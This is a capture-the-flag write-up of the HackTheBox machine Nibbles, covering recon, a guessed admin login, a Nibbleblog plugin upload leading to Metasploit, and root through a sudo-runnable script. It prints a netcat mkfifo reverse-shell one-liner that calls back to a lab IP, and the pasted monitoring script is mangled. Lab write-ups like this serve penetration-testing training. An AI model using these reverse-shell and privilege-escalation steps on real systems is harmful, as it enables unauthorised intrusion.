Nibbles
Nibbles
Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved
Summary
Walkthrough of the HackTheBox machine Nibbles (Ubuntu, attack surface: Apache httpd 2.4.18 ((Ubuntu)) (80), OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) (22)). Foothold via file upload, rce; privilege escalation via sudo, kernel. Both flags captured and redacted.
Recon
Port scan
bash read-only • copy allowednmap -p- -sVC 10.10.10.75 --min-rate 1000
| Port | Service | Version | Notes |
|---|---|---|---|
| 22 | ssh | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | |
| 80 | http | Apache httpd 2.4.18 ((Ubuntu)) |
Enumeration highlights
- Detected OS: Ubuntu.
- Open services: http (80), ssh (22).
- Scan used:
nmap -p- -sVC 10.10.10.75 --min-rate 1000.
Foothold
Vulnerability / Misconfiguration
┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sVC 10.10.10.75 --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-31 04:18 PDT
Nmap scan report for 10.10.10.75
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4f8ade8f80477decf150d630a187e49 (RSA)
| 256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)
|_ 256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.73 seconds
-
Based from the result, the machine runs a web application.
-
Viewing the page source, we know there's a directory named
nibbleblog. -
At this point, I have an assumption the vuln might be either SQLi or Arbitrary File Upload.
Searching in msf about nibble shall showed the vuln's history.
- After ran dirbuster to list all the files within the
/nibbleblog/directory, found several files that could be our interest.
NOTES:
I did not find any interesting files outside the /nibbleblog/ direcotry.
-
Long story short, the
admin.phpopens up a login page and there's no SQLi vuln at all. -
So we need to find a valid cred.
-
Found the potential username at -->
http://nibbles.htb/nibbleblog/content/private/users.xml. -
For the password, it's kinda guessing. It took me a while, until I have assumptions that the password must be
nibbles. -
Judging from the email I found in -->
http://nibbles.htb/nibbleblog/content/private/config.xml. -
So the cred is -->
admin:nibbles.
ADMIN.PHP --> LOGGED IN
-
TIME SKIP.. Found a potential file upload vuln at the
pluginsoption. Go to plugins -> choose the about plugin. -
We can upload PHP reverse shell. Let's upload the template payload from pentest-monkeys.
-
Set a listener on the port you specified, then access the endpoint of our reverse shell payload.
-
BUT, dunno why I can't get RCE.
-
So, there's 2 plugins path, one is /plugins/ and the other one is /content/private/plugins/.
-
But somehow I failed for both, our file won't show up there, and when I think we only can overwrite the content of the files with our reverse shell payload, I still failed to get RCE anyway.
-
So I give up to get shell manually and I use metasploit.
USING METASPLOIT
- Noticed the vuln is at my_image plugins (?) Already tried to upload the reverse shell manually there, but still failed.
GETTING USER.TXT
Proof
User flag: REDACTED
Privilege Escalation
User -> Root/Admin
unset any variable which system may be using
clear the screen
clear
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
while getopts iv name do case $name in i)iopt=1;; v)vopt=1;; *)echo "Invalid arg";; esac done
if [[ ! -z $iopt ]] then { wd=$(pwd) basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname) su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo "Installation failed" } fi
if [[ ! -z $vopt ]] then { echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License" } fi
if [[ $# -eq 0 ]] then {
Define Variable tecreset
tecreset=$(tput sgr0)
Check if connected to Internet or not
ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected"
Check OS Type
os=$(uname -o) echo -e '\E[32m'"Operating System Type :" $tecreset $os
Check OS Release Version and Name
cat /etc/os-release | grep 'NAME|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease echo -n -e '\E[32m'"OS Name :" $tecreset && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d" echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d"
Check Architecture
architecture=$(uname -m) echo -e '\E[32m'"Architecture :" $tecreset $architecture
Check Kernel Release
kernelrelease=$(uname -r) echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease
Check hostname
echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME
Check Internal IP
internalip=$(hostname -I) echo -e '\E[32m'"Internal IP :" $tecreset $internalip
Check External IP
externalip=$(curl -s ipecho.net/plain;echo) echo -e '\E[32m'"External IP : $tecreset "$externalip
Check DNS
nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}') echo -e '\E[32m'"Name Servers :" $tecreset $nameservers
Check Logged In Users
who>/tmp/who echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who
Check RAM and SWAP Usages
free -h | grep -v + > /tmp/ramcache echo -e '\E[32m'"Ram Usages :" $tecreset cat /tmp/ramcache | grep -v "Swap" echo -e '\E[32m'"Swap Usages :" $tecreset cat /tmp/ramcache | grep -v "Mem"
Check Disk Usages
df -h| grep 'Filesystem|/dev/sda*' > /tmp/diskusage echo -e '\E[32m'"Disk Usages :" $tecreset cat /tmp/diskusage
Check Load Average
loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}') echo -e '\E[32m'"Load Average :" $tecreset $loadaverage
Check System Uptime
tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,) echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime
Unset Variables
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
Remove Temporary Files
rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage } fi shift $(($OPTIND -1))
22. Not a fond in shell script yet, but since there's no LOC that indicates a "privesc", let's just append our own.
23. I used this template shell script.
> APPEND IT TO MONITOR.SH
```sh
echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.26 1337 > /tmp/f" >> monitor.sh
- Run it with sudo.
GOT ROOT
Root flag: REDACTED
Flags
| Flag | Value |
|---|---|
| user | REDACTED |
| root | REDACTED |
Lessons Learned
- Enumerate everything; version strings map to CVEs.
- Confirm each hypothesis with a test before building the exploit.
- Chain foothold -> privilege escalation mechanically.